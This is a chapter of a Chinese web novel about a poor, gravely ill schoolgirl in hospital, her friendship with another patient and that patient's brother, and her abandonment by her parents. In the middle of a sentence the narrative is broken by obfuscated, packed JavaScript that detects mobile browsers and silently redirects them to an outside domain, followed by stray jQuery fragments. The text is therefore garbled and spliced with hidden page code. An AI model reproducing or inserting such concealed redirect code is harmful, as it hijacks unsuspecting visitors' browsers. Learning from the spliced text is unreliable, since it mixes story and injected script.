隔壁床是一个还未断奶的婴儿，下午已经来过医生，下了病危通知后，撤走了那个床位的所有仪器，和婴儿脑袋上的所有留置针。


    婴儿微弱的哭声安静下来后，方愫看见他睁开眼睛，伸出双手要他的妈妈抱。


    年轻母亲肉眼可见得憔悴苍老。


    她独自一人抱着怀里听话的孩子，背着住院以来孩子的小衣服小被子，离开了病房。


    方愫身边最终又静了下来。


    医院的夜里安静得可怕，一直在响却又总会被忽略的仪器声，还在不停发出“滴”声，让人听着心慌。


    方愫躺在床上，眼神定定看着天花板上圆圆的吸顶灯，灯罩里困死了许多“灯下尘”。


    她从小长大的家里用的是拳头大的白炽灯，越来越多的小虫子困在里面只会让灯变得更黑，到最后，这个灯就只能被替换掉。


    那是一个在夜里永远无法看清作业本上的字的地方，是一个无论冬夏都能吃上竹笋炒肉的地方，还是会把温柔可爱的姑娘晒成和那片土地一样粗糙的地方。


    学校领导为她筹的钱治病，管不了多久，方愫一直以来也坚信父母不会来医院管她的，何况还要出一笔昂贵的费用，家里根本拿不出这些钱。


    她一定会死的，一定的。


    这个时候，方愫反而没有眼泪了，她从床头的书包里翻出书本来，这学期的新课还没有学完，学校宿舍里这个时候已经熄灯了，以往她会打着手电再做一会题，现在病房里只剩她一人，她霸占着这个比老家亮堂多了的灯光，看了会题。


    方愫并不爱学习，只是没有课外书可看，她喜欢接触陌生的东西，新课本下来后的第一时间，她会把书从头到尾都看一遍，现在书包里的这些书，早已熟悉地不能再熟悉。


    睡不着，她甚至连小白兔奶糖的配料表都研究了一遍。


    蓝色窗帘上并不是普通的纯色蓝，而是带有斜纹的，颜色有深浅的有垂坠感的精细布料制成，比家里用床单代替的窗帘质量好太多了。


    头顶还有她没有见过的通风口，像是会往外吐口水的大嘴巴，她知道那个是中央空调。


    床对面的电视机下面有一个被烧黑的插座孔，像两个圆洞洞的眼睛哭丧着脸。


    止疼药确实回味苦，她已经把一包小白兔奶糖都吃完了，还是苦地睡不着觉。


    死了就不苦了吧。


    死亡这件事也是新鲜的，方愫没死过，不管怎么样，也不会比现在更痛苦了，应该也是好事。


    方愫想通了，安稳入睡。


    -


    在她入住医院的第十四天。


    这些日子以来，每天除了治疗的时间，就是程茵过来找她，跟她讲祖国大江大河的美好，想要去各地旅游的愿望。


    程予弛还带了很多书给程茵，程茵说不爱看那些小说，都拿给方愫来看。


    方愫爱看，但也记不住看了什么。


    程茵还会把程予弛给她带来的早餐甜粥跟方愫“分享”。


    “我哥其实只会做甜粥，你要是想吃些别的东西，他只会叫家里阿姨做。”


    “阿姨？”方愫觉得这应该不是叫她妈妈的称呼，说来，方愫这么多天也确实没有看见过程茵的妈妈。


    “嗯，我们家请的阿姨是湘城人，很会做辣辣的东西吃，我很喜欢吃阿姨做的饭。”


    方愫明白了，这应该是电视上那些有钱人家里请的“帮佣”的称呼。


    方愫不做声，很自觉地“帮”程茵喝粥，她喜欢喝，蜂蜜不多不腻，甜得正好。


    “茵茵，你又把喝不完的粥倒给方愫了？”


    他给程茵和方愫两人都带了粥，程予弛进门时，看见程茵碗里已经空了。


    程茵不满意，嘟嘴发牢骚：“哥你能不能学做点别的啊？实在不行早饭让阿姨给我做也行啊。我想吃虾饺，想吃小笼包，蒸饺，炸鲜奶，香芋糕，菠萝包，哥，你明天给我带香芋糕和菠萝包吧。”


    方愫低头静静喝着程予弛用蜂蜜煮的浓稠的粥，慢慢回味。


    程茵的病房里已经渐渐闻不到花香味了，程予弛去拉开窗帘，窗扇大开，又从包里拿出许多书来，他对程茵说：“明天公司有事，你跟方愫一起去医院食堂吃。”


    这段时间以来的相处，方愫知道了程茵家里的事。


    程予弛高中还没毕业母亲就筹划着让他熟悉公司业务，除了高考复习以外的时间，会把公司各年来的业绩以及财务报表等都拿来叫程予弛看。


    方愫也确实从来没见过程茵的母亲，或许来过，但没有待很久。


    程茵自己也没见过她自己的父亲，她听妈妈说，父亲在她出生那年就死了。但她凑近方愫耳朵悄悄讲，她知道爸爸还活着，哥哥的手机里有爸爸的联系方式。不过，他也没有来过。


    程予弛打开了笔记本电脑，靠坐在窗边开始看着公司资料，程茵还在输液，方愫喝完粥就把她和程茵的碗端去洗了，程予弛抬眼轻声道：“放在那里吧，我一会拿回去洗。”


    “没事的哥哥，就这么两个碗，不费事。”方愫跟着程茵，顺口地叫着哥哥，心里有种莫名的雀跃。


    程茵小时候家里请了住家保姆，她不常见母亲，无论是学校开学还是需要家长参加的夏令营活动，都是程予弛充当她的家长去参加，只比程茵大四岁的程予弛，需要长期与她的老师沟通往来，三天两头亲自到学校找老师询问妹妹的情况，让老师知道程茵这个哥哥，也可以做家长做的事，监督学习，以及照顾生活，不被同学另眼歧视。


    他视线又放回笔记本电脑上，声音低缓和柔，却又带着坚定不容置疑的语气对程茵说：“你跟方愫一起多看看书，丰富精神世界。”


    “我的精神世界很丰富的，该多看书的是愫愫。”


    “我到现在为止只去过西湖，看够了大海，更向往被烈日炙烤的辽阔沙漠，去寻沙漠里面奇幻的海市蜃楼，还有雪山山顶的雪，不知道会不会和雪顶的冰激凌一样是甜的，我从没见过雪，不知道是不是真的像课本里那样，是六棱冰晶花。”


    程予弛微微抬眼又低下，“病好了带你们去。”


    方愫心里揪了揪。


    “好呀，”程茵把那个一直爱不释手的画册摊开给方愫看，方愫这几天已经被程茵一遍一遍讲过无数次，几乎已经背会了程茵预计的行程安排，“我第一站要去布达拉宫，去看看离天堂最近的地方，庄严肃穆的藏式宏伟建筑，然后还要去看雅鲁藏布大峡谷。”


    “对了，愫愫，你有什么想去的地方？我也一并把攻略做了。”


    方愫抽了一张纸巾擦了擦手，垂眸扭着手指，低低道：“我一定会死的，最后只想回到农村里，去看看家里那只白色的小土狗。”


    程茵沉默了一瞬，又去扒了一颗小白兔奶糖，塞到方愫嘴里，问程予弛：“哥哥，你昨天不是答应我要给我带一束百合花吗？怎么没带？”


    程予弛皱了皱眉：“你又把梦里的话当现实混淆了。”


    “是吗？”程茵口中讷讷，她盯着方愫不自然的情绪。


    方愫嚼着糖，起身出门。


    “愫愫，”程茵喊住方愫，“钱能解决的问题都不是问题。”


    方愫走到门边，又退了回来，在走廊的尽头，她的病房门前，看见了个熟悉又陌生的身影。


    她静静立在门边平缓了几下呼吸。


    再探头去看，那身影又不见了。


    她轻轻叹了口气，程予弛分视线出来看了看她，没有说什么，也似乎对两个女孩之间的氛围没有感知，继续低下头去看屏幕。


    “但没有钱，就连生存都是问题。”方愫把病房门关上，又走向了窗边，在程予弛的身边站着望向窗外。


    她们的病房在二楼，窗外是翠绿茂密


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493140|169682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的香樟树，夏天的暖风轻轻带着树木的清新气息吹进病房里，和病房里中央空调散发的凉气在方愫身边对撞。


    窗外比室内还要安静，带着万千树叶随风翻飞的声音，偶尔的蝉鸣催人昏昏欲睡。


    方愫的身边，程予弛身上传来淡淡香气，是她以前没有闻到过的，也不同于政治老师身上的清甜香水味，而是一种如同冬日时，山间清晨的雾霜气息，让人觉得他似乎体温很低。


    方愫靠在窗边，看见了住院部门口走出的人。


    那是她已经半年多未见的父亲，他的脊背深深佝着，泛黄的汗衫扎进松垮垮的廉价西裤里，皮带翻了毛边，他走到了一棵香樟树下，掏出手机打电话。


    方愫双手撑在窗台上，定定望着那边。


    日上中天，太阳直直照进窗子里，香樟树下的父亲躲在树荫里，手插着腰，左右走了几步。


    电话一接通他就开始骂。方愫看见他一边骂，一边从被香烟熏黄的牙中冲喷出来的唾沫。


    妈妈在外面有了人，已经背着包走了，连弟弟也没有带，她本来不会走这么急的，但因为方愫得了这个很“贵重”的病，她一刻也不愿多待了。


    妈妈悄悄带弟弟出去吃冰激凌的事情仿佛还发生在昨天，但现在她就去追求自己的生活去了。


    人心真是瞬息万变。


    方愫眼神余光看见，身边那个按着键盘的手停下了动作。


    父亲骂着骂着，气得右手高高扬起，狠狠地把手机砸到了绿化带边缘的路沿石上，随后狠狠地抹了把脸，瘦小又佝偻的身体在原地踱了两步，又从花坛里把手机捡起来，塞进口袋。


    然后就走了。


    他头也不回地离开了医院，方愫目送他离开到视线无法触及的地方。


    方愫突然失去力气，从窗边滑落在地，努力伸着脖子呼吸，如果死亡这么痛苦，她其实也不想死，程予弛迅速站起身来把她抱回了自己的病房，方愫感受到了温暖又结实的怀抱，仰着脖子的方愫看着程予弛眉梢微微蹙着，把她稳稳放在床上，按响了护士铃，这么多天以来，她第一次流出了眼泪。


    此后，她见到程茵的妈妈时，程茵坐在妈妈怀里，搂着她的脖子哭得上气不接下气，隔着房门的玻璃，方愫止步于此，程茵剃了头发，现在脑袋上带着一个棉质贴头的薄帽子，很像一个孩子在很小很小的时候，在妈妈的怀里抱着妈妈哭的情形。看着门内母女情深，她一点也想不起来自己的妈妈长什么样了。


    她从来没有抱过妈妈，甚至靠近两三步，妈妈都会觉得她太闲了，安排她去做事。


    方愫呆坐很久很久，恍然回神时，已经开始夕阳西下，她赶在医生下班前，把自己睡过的病床好好整理了一下，脱下了病号服，换上了自己来时穿得夏季校服，她的东西不多，一个书包也装下了，收拾好以后，从抽屉里取出来这些日子的治疗单，去了结账窗口。


    窗口的工作人员说，余额足够她再住上半个月的，方愫感到疑惑，校方领导竟然这么慷慨大方，但她还是选择退款出院。


    在被告知办出院一需要主治医师的许可，二需要监护人签字时，她又蔫了，只能先回病房，借主治医师的电话打给了班主任。


    “方愫啊，校方能凑到的钱也就这些了，老师也尽了力，能申请的国家补助也算到了里面，实在不行你看看还有没有哪些亲戚可以问问的？”


    “老师，辛苦您了，”听老师的口吻，那些钱不是她交的，方愫也不想去确认是不是那天爸爸过来时交的费用，喉头酸涩，对老师说：“能麻烦您来一趟医院，帮我办理一下出院手续吗？”


    病房门被轻叩三下，程予弛进来了，只有他一个人。


    方愫挂断电话后，把医生的手机搁在了床头。


    程予弛在她身边坐下，开门见山：“茵茵把你当做了她最好的朋友，她希望你活着。”